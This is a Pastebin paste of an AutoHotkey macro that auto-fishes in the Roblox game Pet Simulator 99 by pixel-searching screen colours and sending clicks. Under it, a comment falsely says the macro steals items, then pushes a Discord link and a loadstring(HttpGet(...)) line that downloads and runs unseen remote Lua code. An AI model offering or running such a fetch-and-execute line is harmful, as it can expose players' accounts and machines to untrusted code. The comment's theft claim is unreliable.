Advertisement
Killyoboy

Pet Simulator 99 Auto Fish

Dec 22nd, 2023
3,571
0
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #MaxThreadsPerHotKey, 2
  2. Toggle := 0
  3.  
  4. F1::
  5. Toggle := !Toggle
  6. MouseDown := False
  7.  
  8. While Toggle {
  9.     PixelSearch, greyX, greyY, 1485, 255, 1512, 862, 0xE3CBC7, 5, fast ;;grey
  10.     PixelSearch, greenX, greenY, 1485, 255, 1512, 862, 0x12F88B, 5, fast ;;green
  11.  
  12.     If (greenY or greyY) {
  13.         If (!greenY) {
  14.             MouseDown := !MouseDown
  15.            
  16.             if(MouseDown) {
  17.                 Send {Click down}
  18.                 x := 0
  19.                 green := False
  20.                
  21.                 Loop {
  22.                     Sleep, 50
  23.                     PixelSearch, greenX, greenY, 1485, 255, 1512, 862, 0x12F88B, 5, fast ;;green
  24.                    
  25.                     if(greenY) {
  26.                         green := True
  27.                     }
  28.                    
  29.                     x += 1
  30.                 } Until (x >= 15 or green)
  31.  
  32.             } else {
  33.                 Send {Click up}
  34.                
  35.                 x := 0
  36.                 green := False
  37.                
  38.                 Loop {
  39.                     Sleep, 50
  40.                     PixelSearch, greenX, greenY, 1485, 255, 1512, 862, 0x12F88B, 5, fast ;;green
  41.                    
  42.                     if(greenY) {
  43.                         green := True
  44.                     }
  45.                     x += 1
  46.                 } Until (x >= 15 or green)
  47.             }
  48.         } else {
  49.         ;MouseDown := !MouseDown
  50.            
  51.             green := True
  52.            
  53.             Loop {
  54.                 Send {Click down}
  55.                 Sleep, 100
  56.                 Send {Click up}
  57.                 Sleep, 50
  58.                 PixelSearch, greenX, greenY, 1485, 255, 1512, 862, 0x12F88B, 5, fast ;;green
  59.                
  60.                 if(not greenY) {
  61.                     green := False
  62.                 }
  63.             } Until (not green)
  64.         }
  65.     } else {
  66.         MouseDown := False
  67.         Send {Click down}
  68.         Sleep, 100
  69.         Send {Click up}
  70.         Sleep, 3000
  71.         Send {Click down}
  72.     }
  73. }
Advertisement
Comments
  • ItzMeggles
    357 days
    # text 0.02 KB | 0 0
    1. What do you run this in?
  • # text 0.41 KB | 0 0
    1. Please dont use the script above it stole some of my exclusives if you do get tricked make sure to leave the game your playing as fast as you can because some are slower then others but here is skyhub a working script for the new update if you dont believe me join there discord https://discord.gg/jmkfw9AR
    2.  
    3. loadstring(game:HttpGet("https://raw.githubusercontent.com/SK0IXLL/RIVERHUB-SKYHUB/main/WL.lua", true))()
Add Comment
Please, Sign In to add comment
Advertisement